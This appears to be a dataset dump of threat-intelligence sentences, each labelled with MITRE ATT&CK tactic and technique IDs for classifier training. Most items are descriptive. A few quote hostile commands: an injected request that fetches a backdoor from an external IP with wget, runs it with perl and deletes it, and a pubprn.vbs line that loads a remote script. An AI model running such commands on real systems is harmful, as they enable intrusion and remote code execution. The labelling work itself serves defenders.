madox81/Adema_ATTACK_DS huggingface dataset:
Input: One such email that we were able to obtain was targeting users in Turkey, as shown in Figure 4:    Figure 4: Sample spear phishing email containing macro-based document attachment The malicious Microsoft Office attachments that we observed appear to have been specially crafted for individuals in four countries: Turkey, Pakistan, Tajikistan and India

Tactics: TA0001, TA0002
Techniques: T1566.003, T1566, T1566.001, T1204
Input: FIN10 has deployed Meterpreter stagers and SplinterRAT instances in the victim network after moving laterally.

Tactics: TA0008
Techniques: T1570
Input: For example, we analyzed a DropIt sample (SHA256: cca268c13885ad5751eb70371bbc9ce8c8795654fedb90d9e3886cbcfe323671) that dropped two executables, one of which was saved to “%TEMP%\flash_update.exe” that was a legitimate Flash Player installer

Tactics: TA0005
Techniques: T1036
Input: Adversaries may abuse msiexec.exe to proxy execution of malicious payloads.

Tactics: TA0005
Techniques: T1218, T1218.007
Input: HOMEFRY can perform credential dumping.

Tactics: TA0006
Techniques: T1003
Input: Most modern Linux operating systems use a combination of /etc/passwd and /etc/shadow to store user account information including password hashes in /etc/shadow.

Tactics: TA0006
Techniques: T1003, T1003.008
Input: Command  Description  Action  0  Server response string contains batch commands  Execute batch commands and send results back to server  1  Server response string is a file path  Check for file path and upload (PUT) the file to server  2  Server response string is a file path  Check for file path and download (GET) the file   Table 1: POWRUNER commands After successfully executing the command, POWRUNER sends the results back to the C2 server and stops execution

Tactics: TA0005, TA0011, TA0010
Techniques: T1041, T1070, T1070.006, T1105
Input: It then takes note of the infected machine’s IP address, user, domain, hostname, OS and Service Pack, and the username and password combination that worked during the brute force routine

Tactics: TA0006
Techniques: T1110
Input: Ensure event tracers/forwarders , firewall policies, and other associated mechanisms are secured with appropriate permissions and access controls and cannot be manipulated by user accounts.

Tactics: TA0005
Techniques: T1562.006, T1562
Input: Sowbug named its tools to masquerade as Windows or Adobe Reader software, such as by using the file name adobecms.exe and the directory CSIDL_APPDATA\microsoft\security.

Tactics: TA0005
Techniques: T1036.005, T1036
Input: QakBot has the ability to use removable drives to spread through compromised networks.

Tactics: TA0001, TA0008
Techniques: T1091
Input: An adversary who gains access to a system that is part of a cloud-based environment may map out Virtual Private Clouds or Virtual Networks in order to determine what systems and services are connected.

Tactics: TA0007
Techniques: T1049
Input: Do not allow a domain user to be in the local administrator group on multiple systems.

Tactics: TA0005, TA0008
Techniques: T1550.002, T1550
Input: HAWKBALL has used HTTP to communicate with a single hard-coded C2 server.

Tactics: TA0011
Techniques: T1071, T1071.001
Input: JSS Loader has been executed through malicious attachments contained in spearphishing emails.

Tactics: TA0002
Techniques: T1204.002, T1204
Input: This may be a necessary step for an adversary compromising an endpoint system that has been properly configured and limits other privilege escalation methods.

Tactics: TA0004
Techniques: T1068
Input: This information may also reveal supply chains and shipment paths for the victim’s hardware and software resources.

Tactics: TA0043
Techniques: T1591.002, T1591
Input: Bazar has a variant with a packed payload.

Tactics: TA0005
Techniques: T1027.002, T1027
Input: Crutch has exfiltrated stolen data to Dropbox.

Tactics: TA0010
Techniques: T1567.002, T1567
Input: Adversaries may abuse BITS to download, execute, and even clean up after running malicious code.

Tactics: TA0003, TA0005
Techniques: T1197
Input: Monitor network traffic for suspicious/malicious behavior involving DHCP, such as changes in DNS and/or gateway parameters.

Tactics: TA0006, TA0009
Techniques: T1557, T1557.003
Input: ADVSTORESHELL exfiltrates data over the same channel used for C2.

Tactics: TA0010
Techniques: T1041
Input: Windshift has used tools to deploy additional payloads to compromised hosts.

Tactics: TA0011
Techniques: T1105
Input: Monitor file systems for moving, renaming, replacing, or modifying DLLs.

Tactics: TA0003, TA0004, TA0005
Techniques: T1574
Input: Many ZeroT samples can perform UAC bypass by using eventvwr.exe to execute a malicious file.

Tactics: TA0004, TA0005
Techniques: T1548.002, T1548
Input: NOKKI can gather information on the victim IP address.

Tactics: TA0007
Techniques: T1016
Input: Applications listed in this file are automatically reopened upon the user’s next logon.

Tactics: TA0003, TA0004
Techniques: T1547, T1547.007
Input: Fox Kitten has used scripts to access credential information from the KeePass database.

Tactics: TA0006
Techniques: T1555.005, T1555
Input: Daserf hides collected data in password-protected .rar archives.

Tactics: TA0009
Techniques: T1560.001, T1560
Input: A keylogging tool used by APT3 gathers network information from the victim, including the MAC address, IP address, WINS, DHCP server, and gateway.

Tactics: TA0007
Techniques: T1016
Input: Increasing the file size may decrease the effectiveness of certain tools and detection capabilities that are not designed or configured to scan large files.

Tactics: TA0005
Techniques: T1027, T1027.001
Input: Sandworm Team has delivered malicious Microsoft Office attachments via spearphishing emails.

Tactics: TA0001
Techniques: T1566, T1566.001
Input: Anti-virus can automatically quarantine suspicious files.

Tactics: TA0001
Techniques: T1566
Input: Ensure Protected View is enabled.

Tactics: TA0002
Techniques: T1559, T1559.002
Input: Commands such as net group /domain can be used in Net to gather information about and manipulate groups.

Tactics: TA0007
Techniques: T1069.002, T1069
Input: The payload of the malicious driver (located in its entry-point function) is executed when loaded by lsass.exe before the spoofed service becomes unstable and crashes.

Tactics: TA0003, TA0004
Techniques: T1547.008, T1547
Input: Threat Group-1314 actors used compromised domain credentials for the victim's endpoint management platform, Altiris, to move laterally.

Tactics: TA0001, TA0003, TA0004, TA0005
Techniques: T1078, T1078.002
Input: Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior.

Tactics: TA0001, TA0002, TA0004, TA0005, TA0008
Techniques: T1189, T1210, T1203, T1211, T1068
Input: Fox Kitten has created KeyBase accounts to communicate with ransomware victims.

Tactics: TA0042
Techniques: T1585
Input: Adversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of PowerShell/Rundll32 to be explorer.exe rather than an Office document delivered as part of Spearphishing Attachment.

Tactics: TA0004, TA0005
Techniques: T1134.004, T1134
Input: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run

Tactics: TA0003, TA0004
Techniques: T1547.001, T1547
Input: Monitor executed commands and arguments for actions involved in data destruction activity, such as vssadmin, wbadmin, and bcdedit

Tactics: TA0040
Techniques: T1486
Input: Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: External Remote Services).

Tactics: TA0043
Techniques: T1590, T1590.005
Input: High resolution screenshots of specified process windows and when recording VoiceIP application audio

Tactics: TA0009
Techniques: T1123
Input: Monitor newly executed processes that may corrupt or wipe the disk data structures on a hard drive necessary to boot a system; targeting specific critical systems or in large numbers in a network to interrupt availability to system and network resources.

Tactics: TA0040
Techniques: T1561, T1561.002
Input: Turian can disguise as a legitimate service to blend into normal operations.

Tactics: TA0005
Techniques: T1036.004, T1036
Input: Adversaries may introduce computer accessories, networking hardware, or other computing devices into a system or network that can be used as a vector to gain access.

Tactics: TA0001
Techniques: T1200
Input: Lazarus Group malware IndiaIndia obtains and sends to its C2 server the title of the window for each running process.

Tactics: TA0007
Techniques: T1010
Input: Information about victims may be available for purchase from reputable private sources and databases, such as paid subscriptions to feeds of technical/threat intelligence data.

Tactics: TA0043
Techniques: T1597
Input: Identify web browser files that contain credentials such as Google Chrome’s Login Data database file: AppData\Local\Google\Chrome\User Data\Default\Login Data.

Tactics: TA0006
Techniques: T1555.003, T1555
Input: Example commands that can be used to obtain security software information are netsh, reg query with Reg, dir with cmd, and Tasklist, but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for.

Tactics: TA0007
Techniques: T1518.001, T1518
Input: Sandworm Team has used VBScript to run WMI queries.

Tactics: TA0002
Techniques: T1047
Input: Bazar can download and deploy additional payloads, including ransomware and post-exploitation frameworks such as Cobalt Strike.

Tactics: TA0011
Techniques: T1105
Input: DarkVishnya used brute-force attack to obtain login data.

Tactics: TA0006
Techniques: T1110
Input: Goopy has the ability to communicate with its C2 over HTTP.

Tactics: TA0011
Techniques: T1071, T1071.001
Input: Winnti for Linux has used HTTP in outbound communications.

Tactics: TA0011
Techniques: T1071, T1071.001
Input: Metamorfo can enumerate all windows on the victim’s machine.

Tactics: TA0007
Techniques: T1010
Input: QakBot can store its configuration information in a randomly named subkey under HKCU\Software\Microsoft.

Tactics: TA0005
Techniques: T1112
Input: JHUHUGIT has used a Registry Run key to establish persistence by executing JavaScript code within the rundll32.exe process.

Tactics: TA0003, TA0004
Techniques: T1547.001, T1547
Input: Transact – Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.

Tactics: TA0004, TA0005
Techniques: T1055.013, T1055
Input: Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process.

Tactics: TA0003, TA0004, TA0005
Techniques: T1574.002, T1574
Input: This can be seen in the following images taken from hxxp:// feeds.rapidfeeds[.]com/88604/, which is one of the dead drop resolvers we encountered in this sample:  Figure 7 Dead drop resolver used by BADNEWS   In order to decrypt this data, the authors have included additional steps from previous versions

Tactics: TA0011
Techniques: T1102
Input: Adversaries may use MSBuild to proxy execution of code through a trusted Windows utility.

Tactics: TA0005
Techniques: T1127.001, T1127
Input: Dtrack has used a decryption routine that is part of an executable physical patch.

Tactics: TA0005
Techniques: T1140
Input: Lazarus Group has collected data and files from compromised networks.

Tactics: TA0009
Techniques: T1005
Input: TAINTEDSCRIBE can execute FileRecvWriteRand to append random bytes to the end of a file received from C2.

Tactics: TA0005
Techniques: T1027, T1027.001
Input: IcedID has used SSL and TLS in communications with C2.

Tactics: TA0011
Techniques: T1573, T1573.002
Input: Monitor processes and command-line parameters for signed binaries that may be used to proxy execution of malicious files.

Tactics: TA0005
Techniques: T1218
Input: In cloud-based environments, adversaries may still be able to use traffic mirroring services to sniff network traffic from virtual machines.

Tactics: TA0006, TA0007
Techniques: T1040
Input: ISMInjector hollows out a newly created process RegASM.exe and injects its payload into the hollowed process.

Tactics: TA0004, TA0005
Techniques: T1055.012, T1055
Input: RCSession can gather system information from a compromised host.

Tactics: TA0007
Techniques: T1082
Input: Monitor for changes made to files that may abuse legitimate extensible development features of servers to establish persistent access to systems.

Tactics: TA0003
Techniques: T1505
Input: By modifying the GlobalDotName registry key an adversary can specify an arbitrary location, file name, and file extension to use for the template that will be loaded on application startup.

Tactics: TA0003
Techniques: T1137, T1137.001
Input: The configuration data is encrypted with the same algorithm described previously by JPCert but using a different XOR value

Tactics: TA0005
Techniques: T1027
Input: TG-3390 actors frequently change the C2 domain's A record to point to the loopback IP address 127.0.0.1, which is a variation of a technique known as "parking." Other variations of parking point the IP address to Google's recursive name server 8.8.8.8, an address belonging to Confluence, or to other non-routable addresses

Tactics: TA0007, TA0011
Techniques: T1573, T1016
Input: Dragonfly has dropped and executed SecretsDump to dump password hashes.

Tactics: TA0006
Techniques: T1003.003, T1003, T1003.002, T1003.004
Input: APT29 has bypassed MFA set on OWA accounts by generating a cookie value from a previously stolen secret key.

Tactics: TA0006
Techniques: T1606, T1606.001
Input: Remsec can obtain a process list from the victim.

Tactics: TA0007
Techniques: T1057
Input: Adversaries may upload tools to support their operations, such as making a tool available to a victim network to enable Ingress Tool Transfer by placing it on an Internet accessible web server.

Tactics: TA0042
Techniques: T1608, T1608.002
Input: ShimRatReporter encrypted gathered information with a combination of shifting and XOR using a static key.

Tactics: TA0005
Techniques: T1027
Input: A tool can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: PsExec).

Tactics: TA0042
Techniques: T1588, T1588.002
Input: Serving the backdoor  Another HTTP request is sent to the targeted server, with the following resource: /?module=wget hxxp://67[.]209.177.163/ibus -O /tmp/e3ac24a0bcddfacd010a6c10f4a814bc The above standard injection pulls the ibus payload and stores it on /tmp/e3ac24a0bcddfacd010a6c10f4a814bc  Launching the backdoor  The execution is issued using an additional HTTP request: /?module=perl /tmp/ e3ac24a0bcddfacd010a6c10f4a814bc;sleep 2;rm -rf /tmp/ e3ac24a0bcddfacd010a6c10f4a814bc That executes the perl script, puts it to sleep for two seconds and deletes the file to remove any evidence

Tactics: TA0005, TA0009
Techniques: T1070, T1070.004, T1074
Input: Kivars has the ability to capture screenshots on the infected host.

Tactics: TA0009
Techniques: T1113
Input: SombRAT can execute enum to enumerate files in storage on a compromised system.

Tactics: TA0007
Techniques: T1083
Input: Sidewinder has used tools to identify the user of a compromised host.

Tactics: TA0007
Techniques: T1033
Input: Adversaries may dynamically establish connections to command and control infrastructure to evade common detections and remediations.

Tactics: TA0011
Techniques: T1568
Input: CookieMiner has used base64 encoding to obfuscate scripts on the system.

Tactics: TA0005
Techniques: T1027
Input: Threat Group-3390 has used net user to conduct internal discovery of systems.

Tactics: TA0007
Techniques: T1087, T1087.001
Input: "Users -> User settings -> App registrations: Users can register applications" can be set to "no" to prevent users from registering new applications.

Tactics: TA0006
Techniques: T1528
Input: PUNCHBUGGY has used python scripts.

Tactics: TA0002
Techniques: T1059.006, T1059
Input: Another Lazarus Group malware sample XORs C2 traffic.

Tactics: TA0011
Techniques: T1573, T1573.001
Input: APT19 performed a watering hole attack on forbes.com in 2014 to compromise targets.

Tactics: TA0001
Techniques: T1189
Input: WellMess can use junk data in the Base64 string for additional obfuscation.

Tactics: TA0011
Techniques: T1001.001, T1001
Input: Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning (ex: hostnames, server banners, user agent strings) or Phishing for Information.

Tactics: TA0043
Techniques: T1592, T1592.001
Input: GuLoader has the ability to download malware from Google Drive.

Tactics: TA0011
Techniques: T1102
Input: PowerStallion has been used to monitor process lists.

Tactics: TA0007
Techniques: T1057
Input: Nebulae uses functions named StartUserModeBrowserInjection and StopUserModeBrowserInjection indicating that it's trying to imitate chrome_frame_helper.dll.

Tactics: TA0005
Techniques: T1036.005, T1036
Input: If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials.

Tactics: TA0006
Techniques: T1110.004, T1110, T1110.001
Input: Review changes to the cron schedule.

Tactics: TA0002, TA0003, TA0004
Techniques: T1053, T1053.003
Input: Monitor for common cryptomining software process names that may indicate compromise and resource usage.

Tactics: TA0040
Techniques: T1496
Input: A Threat Group-3390 tool can spawn svchost.exe and inject the payload into that process.

Tactics: TA0004, TA0005
Techniques: T1055.012, T1055
Input: Okrum can obtain the date and time of the compromised system.

Tactics: TA0007
Techniques: T1124
Input: Adversaries may use trusted scripts, often signed with certificates, to proxy the execution of malicious files.

Tactics: TA0005
Techniques: T1216
Input: APT10 spear phishes have been relatively unsophisticated, leveraging .lnk files within archives, files with double extensions (e.g

Tactics: TA0003, TA0004
Techniques: T1547.009, T1547
Input: APT29 has used GoldFinder to perform HTTP GET requests to check internet connectivity and identify HTTP proxy servers and other redirectors that an HTTP request travels through.

Tactics: TA0007
Techniques: T1016.001, T1016
Input: Honeybee launches a DLL file that gets executed as a service using svchost.exe

Tactics: TA0002
Techniques: T1569.002, T1569
Input: Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run.

Tactics: TA0005
Techniques: T1027.002, T1027
Input: Monitoring API calls may generate a significant amount of data and may not be useful for defense unless collected under specific circumstances, since benign use of API functions are common and may be difficult to distinguish from malicious behavior.

Tactics: TA0002
Techniques: T1106
Input: The fact that the actor used Metasploit shellcode within the Unicorn generated PowerShell script leads us to speculate that the ultimate payload of this attack is Meterpreter, which is a shellcode-based payload

Tactics: TA0002
Techniques: T1059.001, T1059
Input: PinchDuke's credential stealing functionality is believed to be based on the source code of the Pinch credential stealing malware (also known as LdPinch).

Tactics: TA0006
Techniques: T1003, T1555.003, T1555
Input: Kazuar gathers information about local groups and members.

Tactics: TA0007
Techniques: T1069.001, T1069
Input: AADInternals can check for the existence of user email addresses using public Microsoft APIs.

Tactics: TA0043
Techniques: T1589.002, T1589
Input: EvilBunny has created Registry keys for persistence in [HKLM|HKCU]\…\CurrentVersion\Run.

Tactics: TA0003, TA0004
Techniques: T1547.001, T1547
Input: SSL/TLS certificates are files that can be installed on servers to enable secure communications between systems.

Tactics: TA0042
Techniques: T1608.003, T1608
Input: MESSAGETAP has XOR-encrypted and stored contents of SMS messages that matched its target list.

Tactics: TA0009
Techniques: T1560.003, T1560
Input: Those infected systems may opt to send the output from those commands back over a different C2 channel, including to another distinct Web service.

Tactics: TA0011
Techniques: T1102.003, T1102
Input: As part of the exploit development process, adversaries may uncover exploitable vulnerabilities through methods such as fuzzing and patch analysis.

Tactics: TA0042
Techniques: T1587, T1587.004
Input: BlackTech has used valid, stolen digital certificates for some of their malware and tools.

Tactics: TA0042
Techniques: T1588.004, T1588
Input: Turn off or restrict access to unneeded scripting components.

Tactics: TA0002
Techniques: T1059.007, T1059
Input: The net accounts and net accounts /domain commands with Net can be used to obtain password policy information.

Tactics: TA0007
Techniques: T1201
Input: An example command is pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct.

Tactics: TA0005
Techniques: T1216.001, T1216
Input: Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system.

Tactics: TA0008
Techniques: T1080
Input: Payloads may also be delivered in formats unrecognizable and inherently benign to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into a proper executable binary with a bundled compiler and execution framework.

Tactics: TA0005
Techniques: T1027.004, T1027
Input: Astaroth's initial payload is a malicious .LNK file.

Tactics: TA0003, TA0004
Techniques: T1547.009, T1547
Input: Volatile Cedar has used DirBuster and GoBuster to brute force web directories and DNS subdomains.

Tactics: TA0043
Techniques: T1595.003, T1595
Input: China Chopper's server component can spider authentication portals.

Tactics: TA0007
Techniques: T1046
Input: This may be achieved by using malware that shares a common algorithm with the infrastructure the adversary uses to receive the malware's communications.

Tactics: TA0011
Techniques: T1568
Input: Detection efforts should be placed finding differences between VBA source code and p-code.

Tactics: TA0005
Techniques: T1564, T1564.007
Input: Kobalos can write captured SSH connection credentials to a file under the /var/run directory with a .pid extension for exfiltration.

Tactics: TA0009
Techniques: T1074
Input: Maze has disabled dynamic analysis and other security tools including IDA debugger, x32dbg, and OllyDbg.

Tactics: TA0005
Techniques: T1562.001, T1562
Input: APT32 has used pass the hash for lateral movement.

Tactics: TA0005, TA0008
Techniques: T1550.002, T1550
Input: OopsIE has the capability to delete files and scripts from the victim's machine.

Tactics: TA0005
Techniques: T1070, T1070.004
Input: Adversaries may target the different network services provided by systems to conduct a denial of service (DoS).

Tactics: TA0040
Techniques: T1499.002, T1499
Input: In Kubernetes environments, consider defining a Pod Security Policy that prevents pods from running privileged containers.

Tactics: TA0002, TA0004
Techniques: T1609, T1611
Input: Fox Kitten has exploited known vulnerabilities in Fortinet, PulseSecure, and Palo Alto VPN appliances.

Tactics: TA0001
Techniques: T1190
Input: Collect and analyze signing certificate metadata and check signature validity on software that executes within the environment, look for invalid signatures as well as unusual certificate characteristics and outliers.

Tactics: TA0005
Techniques: T1036, T1036.001
Input: It can also obtain browsing history, cookies, and plug-in information.

Tactics: TA0007
Techniques: T1083